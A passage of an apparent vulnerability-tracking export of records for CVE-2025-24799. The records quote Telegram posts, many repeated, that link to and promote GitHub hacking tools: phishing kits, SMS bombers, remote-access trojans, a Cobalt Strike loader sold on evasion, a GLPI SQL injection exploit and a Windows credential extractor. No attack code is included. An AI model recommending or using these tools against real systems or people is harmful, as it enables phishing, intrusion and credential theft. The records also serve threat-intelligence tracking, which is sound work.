shellcode loader with multiple advanced evasion features\n#github #CS #tools\nhttps://github.com/RainbowSoftwares/XWorm-RCE-Patch\n\nXWorm 4.0 Modded + RCE Patched\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\nCVE-2025-24799 Exploit: GLPI - Unauthenticated SQL Injection\nhttps://github.com/OssamaN7/LFI_Racer\n\nA tool to exploit Local File Inclusion (LFI) vulnerabilities for Remote Code Execution (RCE)\n#github #exploit\nhttps://github.com/OssamaN7/LFI_Racer\n\nRepository: Bbot - Recursive web crawler\n\nBEE bot is a multipurpose scanner inspired by Spiderfoot, designed to automate your reconnaissance, bug bounty, and ASM missions.\n\n\u2014 This tool is capable of performing the entire OSINT process in a single command, including subdomain enumeration, port scanning, web screenshots (with the gowitness module), vulnerability scanning (with kernels), and more.\nhttps://github.com/blacklanternsecurity/bbot\n\nCybersecurity AI (CAI) now includes full, nano, and mini versions of gpt-4.1 models \u2014 I believe they\u2019re still behind other top models, but they\u2019re a significant improvement for cybersecurity exercises compared to gpt-4o and o3-mini.\n\nTry it too: https://github.com/aliasrobotics/cai\n\nRepository: http://Cheat.sh : Helpful tips for commands and terminal languages\n\nhttp://Cheat.sh \u2014 is an online service accessible from the command line that searches through an impressive collection of community-curated cheat sheets.\n\n#GrayHats", "creation_timestamp": "2026-08-19T21:00:03.597301Z"}, {"uuid": "9cc2c873-4f74-47c9-9ddf-5657cf643d64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/NinjaSecurity/117", "content": "1. 4w4k3 tools\nhttps://github.com/4w4k3\n\n\n2. Wifiphisher\nhttps://github.com/wifiphisher/wifiphisher.git\n\n\n3. EasY_HaCk\nhttps://github.com/sabri-zaki/EasY_HaCk\n\n\n4. WishFish\nhttps://github.com/kinghacker0/WishFish\n\n\n5. BlackPhish\nhttps://github.com/iinc0gnit0/BlackPhish\n\n\n6. XLR8_BOMBER\nhttps://github.com/khansaad1275/XLR8_BOMBER\n\n\n7. BossAdv\nhttps://github.com/The-Boss-Hacker/BossAdv.git\n\n\n8. Lazymux\nhttps://github.com/Gameye98/Lazymux\n\n\n9. Infect\nhttps://github.com/noob-hackers/infect\n\n\n10. m-bomber2.O\nhttps://github.com/jatinkalwar/m-bomber2.O\n\n\n11. Phishing by lovehacker404\nhttps://github.com/lovehacker404/Phishing\n\n\n12. AsyncRAT Dark Mode\nhttps://github.com/MonsterCadd/AsyncRAT-Dark-Mode\n\n\n13. KitHack\nhttps://github.com/AdrMXR/KitHack\n\n\n14. ElfDoor (GCC)\nhttps://github.com/MatheuZSecurity/ElfDoor-gcc\n\n\n15. Dh-All\nhttps://github.com/DH-AL/Dh-All\n\n\n16. RedTiger Tools\nhttps://github.com/loxy0dev/RedTiger-Tools\n\n\n17. LazyXSS\nhttps://github.com/iamunixtz/LazyXss\n\n\n18. FinalRecon\nhttps://github.com/thewhiteh4t/finalrecon\n\n\n19. UFONet\nhttps://github.com/epsylon/ufonet.git\n\n\n20. Brutegram\nhttps://github.com/Err0r-ICA/Brutegram\n\n\n21. Commix (Command Injection)\nhttps://github.com/commixproject/commix.git\n\n\n22. Bbot (Recon tool)\nhttps://github.com/blacklanternsecurity/bbot\n\n\n23. Exploit CVE-2025-24799\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\n\n24. LFI_Racer\nhttps://github.com/OssamaN7/LFI_Racer\n\n\n25. Counter OSINT Guide (RU)\nhttps://github.com/soxoj/counter-osint-guide-ru\n\n\n26. YouTube OSINT\nhttps://github.com/cqcore/YouTube-Video-OSINT\n\n\n27. Web Check\nhttps://github.com/Lissy93/web-check\n\n\n28. Sherlock OSINT VM\nhttps://github.com/4m3rr0r/Sherlock\n\n\n29. DFW1N-OSINT Tools\nhttps://github.com/DFW1N/DFW1N-OSINT\n\n\n30. Netlas Cookbook\nhttps://github.com/netlas-io/netlas-cookbook\n\n\n31. OSINT Stuff Tool Collection\nhttps://github.com/cipher387/osint_stuff_tool_collection\n\n\n32. Nuclei SQLi/XSS Templates\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\n\n33. urx (OSINT URL Extractor)\nhttps://github.com/hahwul/urx\n\n\n34. Koneko Shellcode Loader\nhttps://github.com/Meowmycks/koneko\n\n\n35. PANO (OSINT Platform)\nhttps://github.com/ALW1EZ/PANO.git\n\n\n36. SMWYG - Show Me What You Got\nhttps://github.com/Viralmaniar/SMWYG-Show-Me-What-You-Got.git\n\n\n37. SocialFish\nhttps://github.com/UndeadSec/SocialFish\n\n\n38. SnipRecover-CL (CVE-2023-28303)\nhttps://github.com/m31r0n/SnipRecover-CL\n\n\n39. Go Secdump (Windows SAM/LSA Extractor)\nhttps://github.com/jfjallid/go-secdump\n\n\n40. BlueSpy (Bluetooth Audio Recording)\nhttps://github.com/TarlogicSecurity/BlueSpy\n\n\n41. T-Remix\nhttps://github.com/Bhaviktutorials/T-Remix\n\n\n42. Ubuntu Tools\nhttps://github.com/tahmidrayat/ubuntu\n\n\n43. bash2mp4\nhttps://github.com/htr-tech/bash2mp4\n\n\n44. Insta_report_eyes\nhttps://github.com/z6il/Insta_report_eyes\n\n\n45. OSEP (Pentesting)\nhttps://github.com/In3x0rabl3/OSEP\n\n\n46. Snoop\nhttps://github.com/AnkhCorp/Snoop\n\n\n47. Radar (Recon)\nhttps://github.com/Elite-Security-Systems/radar\n\n\n48. cheat.sh (Command line cheats)\nhttps://github.com/chubin/cheat.sh?tab=readme-ov-file\n\n\n49. Cybersecurity AI (CAI)\nhttps://github.com/aliasrobotics/cai\n\n#GrayHats", "creation_timestamp": "2026-08-19T21:00:04.041617Z"}, {"uuid": "992585a6-5fbc-4c7e-8eba-52ba0a93514a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/NinjaSecurity/103", "content": "1. 4w4k3 tools\nhttps://github.com/4w4k3\n\n\n2. Wifiphisher\nhttps://github.com/wifiphisher/wifiphisher.git\n\n\n3. EasY_HaCk\nhttps://github.com/sabri-zaki/EasY_HaCk\n\n\n4. WishFish\nhttps://github.com/kinghacker0/WishFish\n\n\n5. BlackPhish\nhttps://github.com/iinc0gnit0/BlackPhish\n\n\n6. XLR8_BOMBER\nhttps://github.com/khansaad1275/XLR8_BOMBER\n\n\n7. BossAdv\nhttps://github.com/The-Boss-Hacker/BossAdv.git\n\n\n8. Lazymux\nhttps://github.com/Gameye98/Lazymux\n\n\n9. Infect\nhttps://github.com/noob-hackers/infect\n\n\n10. m-bomber2.O\nhttps://github.com/jatinkalwar/m-bomber2.O\n\n\n11. Phishing by lovehacker404\nhttps://github.com/lovehacker404/Phishing\n\n\n12. AsyncRAT Dark Mode\nhttps://github.com/MonsterCadd/AsyncRAT-Dark-Mode\n\n\n13. KitHack\nhttps://github.com/AdrMXR/KitHack\n\n\n14. ElfDoor (GCC)\nhttps://github.com/MatheuZSecurity/ElfDoor-gcc\n\n\n15. Dh-All\nhttps://github.com/DH-AL/Dh-All\n\n\n16. RedTiger Tools\nhttps://github.com/loxy0dev/RedTiger-Tools\n\n\n17. LazyXSS\nhttps://github.com/iamunixtz/LazyXss\n\n\n18. FinalRecon\nhttps://github.com/thewhiteh4t/finalrecon\n\n\n19. UFONet\nhttps://github.com/epsylon/ufonet.git\n\n\n20. Brutegram\nhttps://github.com/Err0r-ICA/Brutegram\n\n\n21. Commix (Command Injection)\nhttps://github.com/commixproject/commix.git\n\n\n22. Bbot (Recon tool)\nhttps://github.com/blacklanternsecurity/bbot\n\n\n23. Exploit CVE-2025-24799\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\n\n24. LFI_Racer\nhttps://github.com/OssamaN7/LFI_Racer\n\n\n25. Counter OSINT Guide (RU)\nhttps://github.com/soxoj/counter-osint-guide-ru\n\n\n26. YouTube OSINT\nhttps://github.com/cqcore/YouTube-Video-OSINT\n\n\n27. Web Check\nhttps://github.com/Lissy93/web-check\n\n\n28. Sherlock OSINT VM\nhttps://github.com/4m3rr0r/Sherlock\n\n\n29. DFW1N-OSINT Tools\nhttps://github.com/DFW1N/DFW1N-OSINT\n\n\n30. Netlas Cookbook\nhttps://github.com/netlas-io/netlas-cookbook\n\n\n31. OSINT Stuff Tool Collection\nhttps://github.com/cipher387/osint_stuff_tool_collection\n\n\n32. Nuclei SQLi/XSS Templates\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\n\n33. urx (OSINT URL Extractor)\nhttps://github.com/hahwul/urx\n\n\n34. Koneko Shellcode Loader\nhttps://github.com/Meowmycks/koneko\n\n\n35. PANO (OSINT Platform)\nhttps://github.com/ALW1EZ/PANO.git\n\n\n36. SMWYG - Show Me What You Got\nhttps://github.com/Viralmaniar/SMWYG-Show-Me-What-You-Got.git\n\n\n37. SocialFish\nhttps://github.com/UndeadSec/SocialFish\n\n\n38. SnipRecover-CL (CVE-2023-28303)\nhttps://github.com/m31r0n/SnipRecover-CL\n\n\n39. Go Secdump (Windows SAM/LSA Extractor)\nhttps://github.com/jfjallid/go-secdump\n\n\n40. BlueSpy (Bluetooth Audio Recording)\nhttps://github.com/TarlogicSecurity/BlueSpy\n\n\n41. T-Remix\nhttps://github.com/Bhaviktutorials/T-Remix\n\n\n42. Ubuntu Tools\nhttps://github.com/tahmidrayat/ubuntu\n\n\n43. bash2mp4\nhttps://github.com/htr-tech/bash2mp4\n\n\n44. Insta_report_eyes\nhttps://github.com/z6il/Insta_report_eyes\n\n\n45. OSEP (Pentesting)\nhttps://github.com/In3x0rabl3/OSEP\n\n\n46. Snoop\nhttps://github.com/AnkhCorp/Snoop\n\n\n47. Radar (Recon)\nhttps://github.com/Elite-Security-Systems/radar\n\n\n48. cheat.sh (Command line cheats)\nhttps://github.com/chubin/cheat.sh?tab=readme-ov-file\n\n\n49. Cybersecurity AI (CAI)\nhttps://github.com/aliasrobotics/cai\n\n#GrayHats", "creation_timestamp": "2026-08-19T21:00:04.083301Z"}, {"uuid": "f18ef982-b728-4471-96b0-e0bdb5ce2550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/NinjaSecurity/46", "content": "1. 4w4k3 tools\nhttps://github.com/4w4k3\n\n\n2. Wifiphisher\nhttps://github.com/wifiphisher/wifiphisher.git\n\n\n3. EasY_HaCk\nhttps://github.com/sabri-zaki/EasY_HaCk\n\n\n4. WishFish\nhttps://github.com/kinghacker0/WishFish\n\n\n5. BlackPhish\nhttps://github.com/iinc0gnit0/BlackPhish\n\n\n6. XLR8_BOMBER\nhttps://github.com/khansaad1275/XLR8_BOMBER\n\n\n7. BossAdv\nhttps://github.com/The-Boss-Hacker/BossAdv.git\n\n\n8. Lazymux\nhttps://github.com/Gameye98/Lazymux\n\n\n9. Infect\nhttps://github.com/noob-hackers/infect\n\n\n10. m-bomber2.O\nhttps://github.com/jatinkalwar/m-bomber2.O\n\n\n11. Phishing by lovehacker404\nhttps://github.com/lovehacker404/Phishing\n\n\n12. AsyncRAT Dark Mode\nhttps://github.com/MonsterCadd/AsyncRAT-Dark-Mode\n\n\n13. KitHack\nhttps://github.com/AdrMXR/KitHack\n\n\n14. ElfDoor (GCC)\nhttps://github.com/MatheuZSecurity/ElfDoor-gcc\n\n\n15. Dh-All\nhttps://github.com/DH-AL/Dh-All\n\n\n16. RedTiger Tools\nhttps://github.com/loxy0dev/RedTiger-Tools\n\n\n17. LazyXSS\nhttps://github.com/iamunixtz/LazyXss\n\n\n18. FinalRecon\nhttps://github.com/thewhiteh4t/finalrecon\n\n\n19. UFONet\nhttps://github.com/epsylon/ufonet.git\n\n\n20. Brutegram\nhttps://github.com/Err0r-ICA/Brutegram\n\n\n21. Commix (Command Injection)\nhttps://github.com/commixproject/commix.git\n\n\n22. Bbot (Recon tool)\nhttps://github.com/blacklanternsecurity/bbot\n\n\n23. Exploit CVE-2025-24799\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\n\n24. LFI_Racer\nhttps://github.com/OssamaN7/LFI_Racer\n\n\n25. Counter OSINT Guide (RU)\nhttps://github.com/soxoj/counter-osint-guide-ru\n\n\n26. YouTube OSINT\nhttps://github.com/cqcore/YouTube-Video-OSINT\n\n\n27. Web Check\nhttps://github.com/Lissy93/web-check\n\n\n28. Sherlock OSINT VM\nhttps://github.com/4m3rr0r/Sherlock\n\n\n29. DFW1N-OSINT Tools\nhttps://github.com/DFW1N/DFW1N-OSINT\n\n\n30. Netlas Cookbook\nhttps://github.com/netlas-io/netlas-cookbook\n\n\n31. OSINT Stuff Tool Collection\nhttps://github.com/cipher387/osint_stuff_tool_collection\n\n\n32. Nuclei SQLi/XSS Templates\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\n\n33. urx (OSINT URL Extractor)\nhttps://github.com/hahwul/urx\n\n\n34. Koneko Shellcode Loader\nhttps://github.com/Meowmycks/koneko\n\n\n35. PANO (OSINT Platform)\nhttps://github.com/ALW1EZ/PANO.git\n\n\n36. SMWYG - Show Me What You Got\nhttps://github.com/Viralmaniar/SMWYG-Show-Me-What-You-Got.git\n\n\n37. SocialFish\nhttps://github.com/UndeadSec/SocialFish\n\n\n38. SnipRecover-CL (CVE-2023-28303)\nhttps://github.com/m31r0n/SnipRecover-CL\n\n\n39. Go Secdump (Windows SAM/LSA Extractor)\nhttps://github.com/jfjallid/go-secdump\n\n\n40. BlueSpy (Bluetooth Audio Recording)\nhttps://github.com/TarlogicSecurity/BlueSpy\n\n\n41. T-Remix\nhttps://github.com/Bhaviktutorials/T-Remix\n\n\n42. Ubuntu Tools\nhttps://github.com/tahmidrayat/ubuntu\n\n\n43. bash2mp4\nhttps://github.com/htr-tech/bash2mp4\n\n\n44. Insta_report_eyes\nhttps://github.com/z6il/Insta_report_eyes\n\n\n45. OSEP (Pentesting)\nhttps://github.com/In3x0rabl3/OSEP\n\n\n46. Snoop\nhttps://github.com/AnkhCorp/Snoop\n\n\n47. Radar (Recon)\nhttps://github.com/Elite-Security-Systems/radar\n\n\n48. cheat.sh (Command line cheats)\nhttps://github.com/chubin/cheat.sh?tab=readme-ov-file\n\n\n49. Cybersecurity AI (CAI)\nhttps://github.com/aliasrobotics/cai", "creation_timestamp": "2026-08-19T21:00:04.675653Z"}, {"uuid": "cd99c20e-2cd2-404e-8557-9b767f019bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/NinjaSecurity/20", "content": "A large selection of Python code examples using the Netlas API (50 requests per day for free) to automate various tasks related to OSINT and pentesting.\n\nhttps://github.com/netlas-io/netlas-cookbook\n\nIt will also be useful for automating work with other IP search engines (Shodan, Censys, Fofa), and, in general, with a wide variety of REST APIs.\n\n\u2014 This repository includes around a thousand Unix/Linux commands and 55 programming languages.\n\nhttps://github.com/chubin/cheat.sh?tab=readme-ov-file\n\nRepository: RedTiger - Penetration Testing and Hacking Tool\n\nRedTiger is a free multi-tool with a variety of cybersecurity and hacking features.\n\n\u2014 This tool allows you to carry out and implement various attacks, such as SQL injections, extract information via email, etc.\n\nhttps://github.com/loxy0dev/RedTiger-Tools\n\nLazyXss - Cross site scriptiong Testing Automation Tool v1.2\n\nhttp://github.com/iamunixtz/LazyXss\n\nPANO - Advanced OSINT Investigation Platform Combining Graph Visualization, Timeline Analysis, And AI Assistance To Uncover Hidden Connections In Data\n\nGetting Started\n\ngit clone https://github.com/ALW1EZ/PANO.git\n\nFinalRecon | All-in-one #OSINT web reconnaissance tool\n\nFinalRecon is an automated web reconnaissance tool written in Python. The goal of FinalRecon is to provide an overview of the target in a short period while maintaining result accuracy. Instead of running multiple tools one after another, it can provide similar results while keeping dependencies small and simple.\nhttps://github.com/thewhiteh4t/finalrecon\n\nSnipRecover CLI\n\nDetection and restoration of Windows Snipping Tool PNG captures vulnerable to CVE-2023-28303\n\nSnipRecover CLI is a minimal, dependency-free command-line utility designed to:\n\nDetect PNG files modified by the Windows Snipping Tool vulnerability (CVE-2023\u201128303).\n\nRestore the original image by recovering compressed data appended after the IEND chunk.\n\nBy default, restored images use RGBA and a resolution of 1920 \u00d7 1080, and if no output path is specified, the tool writes to restored-.png.\n\nLink: https://github.com/m31r0n/SnipRecover-CL\n\nA tool to remotely extract and copy sensitive Windows files (SAM, LSA) without saving a disk\n\nip\n-Target-IP\n-aes -key\n-DUMP\n-Sam\n--lsa\n-DCC2\n--relay\n-Relay-port\n\nhttps://github.com/jfjallid/go-secdump\nhttps://github.com/jfjallid/go-secdump/releases\n\n#soft #golang #redteam #gosecdump\n\nPoC to record audio from a Bluetooth device\nhttps://github.com/TarlogicSecurity/BlueSpy\n\nSSRFUtility - SSRF Exploitation Tool\n\nhttps://ssrf.cvssadvisor.com\n\nNuclei Templates for a Custom Scanner\nHere you can download the templates for the nuclei tool with more than 1244 files focused on finding SQLi and XSS vulnerabilities \u2014 templates commonly used by bug bounty hunters.\n\n\nUnzip the file and use it freely with the templates you choose.\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\nExtracts URLs from OSINT Archives for Security Insights.\nhttps://github.com/hahwul/urx\n\nhttps://github.com/Meowmycks/koneko\n\nRobust Cobalt Strike shellcode loader with multiple advanced evasion features\n#github #CS #tools\nhttps://github.com/RainbowSoftwares/XWorm-RCE-Patch\n\nXWorm 4.0 Modded + RCE Patched\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\nCVE-2025-24799 Exploit: GLPI - Unauthenticated SQL Injection\nhttps://github.com/OssamaN7/LFI_Racer\n\nA tool to exploit Local File Inclusion (LFI) vulnerabilities for Remote Code Execution (RCE)\n#github #exploit\nhttps://github.com/OssamaN7/LFI_Racer\n\nRepository: Bbot - Recursive web crawler\n\nBEE bot is a multipurpose scanner inspired by Spiderfoot, designed to automate your reconnaissance, bug bounty, and ASM missions.\n\n\u2014 This tool is capable of performing the entire OSINT process in a single command, including subdomain enumeration, port scanning, web screenshots (with the gowitness module), vulnerability scanning (with kernels), and more.\nhttps://github.com/blacklanternsecurity/bbot", "creation_timestamp": "2026-08-19T21:00:05.267333Z"}, {"uuid": "b119a147-629e-416d-9e63-fff4b2b596ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/NinjaSecurity/20", "content": "A large selection of Python code examples using the Netlas API (50 requests per day for free) to automate various tasks related to OSINT and pentesting.\n\nhttps://github.com/netlas-io/netlas-cookbook\n\nIt will also be useful for automating work with other IP search engines (Shodan, Censys, Fofa), and, in general, with a wide variety of REST APIs.\n\n\u2014 This repository includes around a thousand Unix/Linux commands and 55 programming languages.\n\nhttps://github.com/chubin/cheat.sh?tab=readme-ov-file\n\nRepository: RedTiger - Penetration Testing and Hacking Tool\n\nRedTiger is a free multi-tool with a variety of cybersecurity and hacking features.\n\n\u2014 This tool allows you to carry out and implement various attacks, such as SQL injections, extract information via email, etc.\n\nhttps://github.com/loxy0dev/RedTiger-Tools\n\nLazyXss - Cross site scriptiong Testing Automation Tool v1.2\n\nhttp://github.com/iamunixtz/LazyXss\n\nPANO - Advanced OSINT Investigation Platform Combining Graph Visualization, Timeline Analysis, And AI Assistance To Uncover Hidden Connections In Data\n\nGetting Started\n\ngit clone https://github.com/ALW1EZ/PANO.git\n\nFinalRecon | All-in-one #OSINT web reconnaissance tool\n\nFinalRecon is an automated web reconnaissance tool written in Python. The goal of FinalRecon is to provide an overview of the target in a short period while maintaining result accuracy. Instead of running multiple tools one after another, it can provide similar results while keeping dependencies small and simple.\nhttps://github.com/thewhiteh4t/finalrecon\n\nSnipRecover CLI\n\nDetection and restoration of Windows Snipping Tool PNG captures vulnerable to CVE-2023-28303\n\nSnipRecover CLI is a minimal, dependency-free command-line utility designed to:\n\nDetect PNG files modified by the Windows Snipping Tool vulnerability (CVE-2023\u201128303).\n\nRestore the original image by recovering compressed data appended after the IEND chunk.\n\nBy default, restored images use RGBA and a resolution of 1920 \u00d7 1080, and if no output path is specified, the tool writes to restored-.png.\n\nLink: https://github.com/m31r0n/SnipRecover-CL\n\nA tool to remotely extract and copy sensitive Windows files (SAM, LSA) without saving a disk\n\nip\n-Target-IP\n-aes -key\n-DUMP\n-Sam\n--lsa\n-DCC2\n--relay\n-Relay-port\n\nhttps://github.com/jfjallid/go-secdump\nhttps://github.com/jfjallid/go-secdump/releases\n\n#soft #golang #redteam #gosecdump\n\nPoC to record audio from a Bluetooth device\nhttps://github.com/TarlogicSecurity/BlueSpy\n\nSSRFUtility - SSRF Exploitation Tool\n\nhttps://ssrf.cvssadvisor.com\n\nNuclei Templates for a Custom Scanner\nHere you can download the templates for the nuclei tool with more than 1244 files focused on finding SQLi and XSS vulnerabilities \u2014 templates commonly used by bug bounty hunters.\n\n\nUnzip the file and use it freely with the templates you choose.\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\nExtracts URLs from OSINT Archives for Security Insights.\nhttps://github.com/hahwul/urx\n\nhttps://github.com/Meowmycks/koneko\n\nRobust Cobalt Strike shellcode loader with multiple advanced evasion features\n#github #CS #tools\nhttps://github.com/RainbowSoftwares/XWorm-RCE-Patch\n\nXWorm 4.0 Modded + RCE Patched\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\nCVE-2025-24799 Exploit: GLPI - Unauthenticated SQL Injection\nhttps://github.com/OssamaN7/LFI_Racer\n\nA tool to exploit Local File Inclusion (LFI) vulnerabilities for Remote Code Execution (RCE)\n#github #exploit\nhttps://github.com/OssamaN7/LFI_Racer\n\nRepository: Bbot - Recursive web crawler\n\nBEE bot is a multipurpose scanner inspired by Spiderfoot, designed to automate your reconnaissance, bug bounty, and ASM missions.\n\n\u2014 This tool is capable of performing the entire OSINT process in a single command, including subdomain enumeration, port scanning, web screenshots (with the gowitness module), vulnerability scanning (with kernels), and more.\nhttps://github.com/blacklanternsecurity/bbot", "creation_timestamp": "2026-08-20T00:00:05.565991Z"}, {"uuid": "1f0fb9e3-69fa-471b-856c-ca5c0a3ca1c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/NinjaSecurity/46", "content": "1. 4w4k3 tools\nhttps://github.com/4w4k3\n\n\n2. Wifiphisher\nhttps://github.com/wifiphisher/wifiphisher.git\n\n\n3. EasY_HaCk\nhttps://github.com/sabri-zaki/EasY_HaCk\n\n\n4. WishFish\nhttps://github.com/kinghacker0/WishFish\n\n\n5. BlackPhish\nhttps://github.com/iinc0gnit0/BlackPhish\n\n\n6. XLR8_BOMBER\nhttps://github.com/khansaad1275/XLR8_BOMBER\n\n\n7. BossAdv\nhttps://github.com/The-Boss-Hacker/BossAdv.git\n\n\n8. Lazymux\nhttps://github.com/Gameye98/Lazymux\n\n\n9. Infect\nhttps://github.com/noob-hackers/infect\n\n\n10. m-bomber2.O\nhttps://github.com/jatinkalwar/m-bomber2.O\n\n\n11. Phishing by lovehacker404\nhttps://github.com/lovehacker404/Phishing\n\n\n12. AsyncRAT Dark Mode\nhttps://github.com/MonsterCadd/AsyncRAT-Dark-Mode\n\n\n13. KitHack\nhttps://github.com/AdrMXR/KitHack\n\n\n14. ElfDoor (GCC)\nhttps://github.com/MatheuZSecurity/ElfDoor-gcc\n\n\n15. Dh-All\nhttps://github.com/DH-AL/Dh-All\n\n\n16. RedTiger Tools\nhttps://github.com/loxy0dev/RedTiger-Tools\n\n\n17. LazyXSS\nhttps://github.com/iamunixtz/LazyXss\n\n\n18. FinalRecon\nhttps://github.com/thewhiteh4t/finalrecon\n\n\n19. UFONet\nhttps://github.com/epsylon/ufonet.git\n\n\n20. Brutegram\nhttps://github.com/Err0r-ICA/Brutegram\n\n\n21. Commix (Command Injection)\nhttps://github.com/commixproject/commix.git\n\n\n22. Bbot (Recon tool)\nhttps://github.com/blacklanternsecurity/bbot\n\n\n23. Exploit CVE-2025-24799\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\n\n24. LFI_Racer\nhttps://github.com/OssamaN7/LFI_Racer\n\n\n25. Counter OSINT Guide (RU)\nhttps://github.com/soxoj/counter-osint-guide-ru\n\n\n26. YouTube OSINT\nhttps://github.com/cqcore/YouTube-Video-OSINT\n\n\n27. Web Check\nhttps://github.com/Lissy93/web-check\n\n\n28. Sherlock OSINT VM\nhttps://github.com/4m3rr0r/Sherlock\n\n\n29. DFW1N-OSINT Tools\nhttps://github.com/DFW1N/DFW1N-OSINT\n\n\n30. Netlas Cookbook\nhttps://github.com/netlas-io/netlas-cookbook\n\n\n31. OSINT Stuff Tool Collection\nhttps://github.com/cipher387/osint_stuff_tool_collection\n\n\n32. Nuclei SQLi/XSS Templates\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\n\n33. urx (OSINT URL Extractor)\nhttps://github.com/hahwul/urx\n\n\n34. Koneko Shellcode Loader\nhttps://github.com/Meowmycks/koneko\n\n\n35. PANO (OSINT Platform)\nhttps://github.com/ALW1EZ/PANO.git\n\n\n36. SMWYG - Show Me What You Got\nhttps://github.com/Viralmaniar/SMWYG-Show-Me-What-You-Got.git\n\n\n37. SocialFish\nhttps://github.com/UndeadSec/SocialFish\n\n\n38. SnipRecover-CL (CVE-2023-28303)\nhttps://github.com/m31r0n/SnipRecover-CL\n\n\n39. Go Secdump (Windows SAM/LSA Extractor)\nhttps://github.com/jfjallid/go-secdump\n\n\n40. BlueSpy (Bluetooth Audio Recording)\nhttps://github.com/TarlogicSecurity/BlueSpy\n\n\n41. T-Remix\nhttps://github.com/Bhaviktutorials/T-Remix\n\n\n42. Ubuntu Tools\nhttps://github.com/tahmidrayat/ubuntu\n\n\n43. bash2mp4\nhttps://github.com/htr-tech/bash2mp4\n\n\n44. Insta_report_eyes\nhttps://github.com/z6il/Insta_report_eyes\n\n\n45. OSEP (Pentesting)\nhttps://github.com/In3x0rabl3/OSEP\n\n\n46. Snoop\nhttps://github.com/AnkhCorp/Snoop\n\n\n47. Radar (Recon)\nhttps://github.com/Elite-Security-Systems/radar\n\n\n48. cheat.sh (Command line cheats)\nhttps://github.com/chubin/cheat.sh?tab=readme-ov-file\n\n\n49. Cybersecurity AI (CAI)\nhttps://github.com/aliasrobotics/cai", "creation_timestamp": "2026-08-20T00:00:06.427368Z"}, {"uuid": "fa41fa70-1a11-4395-9e45-54a1ae8b02fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/NinjaSecurity/117", "content": "1. 4w4k3 tools\nhttps://github.com/4w4k3\n\n\n2. Wifiphisher\nhttps://github.com/wifiphisher/wifiphisher.git\n\n\n3. EasY_HaCk\nhttps://github.com/sabri-zaki/EasY_HaCk\n\n\n4. WishFish\nhttps://github.com/kinghacker0/WishFish\n\n\n5. BlackPhish\nhttps://github.com/iinc0gnit0/BlackPhish\n\n\n6. XLR8_BOMBER\nhttps://github.com/khansaad1275/XLR8_BOMBER\n\n\n7. BossAdv\nhttps://github.com/The-Boss-Hacker/BossAdv.git\n\n\n8. Lazymux\nhttps://github.com/Gameye98/Lazymux\n\n\n9. Infect\nhttps://github.com/noob-hackers/infect\n\n\n10. m-bomber2.O\nhttps://github.com/jatinkalwar/m-bomber2.O\n\n\n11. Phishing by lovehacker404\nhttps://github.com/lovehacker404/Phishing\n\n\n12. AsyncRAT Dark Mode\nhttps://github.com/MonsterCadd/AsyncRAT-Dark-Mode\n\n\n13. KitHack\nhttps://github.com/AdrMXR/KitHack\n\n\n14. ElfDoor (GCC)\nhttps://github.com/MatheuZSecurity/ElfDoor-gcc\n\n\n15. Dh-All\nhttps://github.com/DH-AL/Dh-All\n\n\n16. RedTiger Tools\nhttps://github.com/loxy0dev/RedTiger-Tools\n\n\n17. LazyXSS\nhttps://github.com/iamunixtz/LazyXss\n\n\n18. FinalRecon\nhttps://github.com/thewhiteh4t/finalrecon\n\n\n19. UFONet\nhttps://github.com/epsylon/ufonet.git\n\n\n20. Brutegram\nhttps://github.com/Err0r-ICA/Brutegram\n\n\n21. Commix (Command Injection)\nhttps://github.com/commixproject/commix.git\n\n\n22. Bbot (Recon tool)\nhttps://github.com/blacklanternsecurity/bbot\n\n\n23. Exploit CVE-2025-24799\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\n\n24. LFI_Racer\nhttps://github.com/OssamaN7/LFI_Racer\n\n\n25. Counter OSINT Guide (RU)\nhttps://github.com/soxoj/counter-osint-guide-ru\n\n\n26. YouTube OSINT\nhttps://github.com/cqcore/YouTube-Video-OSINT\n\n\n27. Web Check\nhttps://github.com/Lissy93/web-check\n\n\n28. Sherlock OSINT VM\nhttps://github.com/4m3rr0r/Sherlock\n\n\n29. DFW1N-OSINT Tools\nhttps://github.com/DFW1N/DFW1N-OSINT\n\n\n30. Netlas Cookbook\nhttps://github.com/netlas-io/netlas-cookbook\n\n\n31. OSINT Stuff Tool Collection\nhttps://github.com/cipher387/osint_stuff_tool_collection\n\n\n32. Nuclei SQLi/XSS 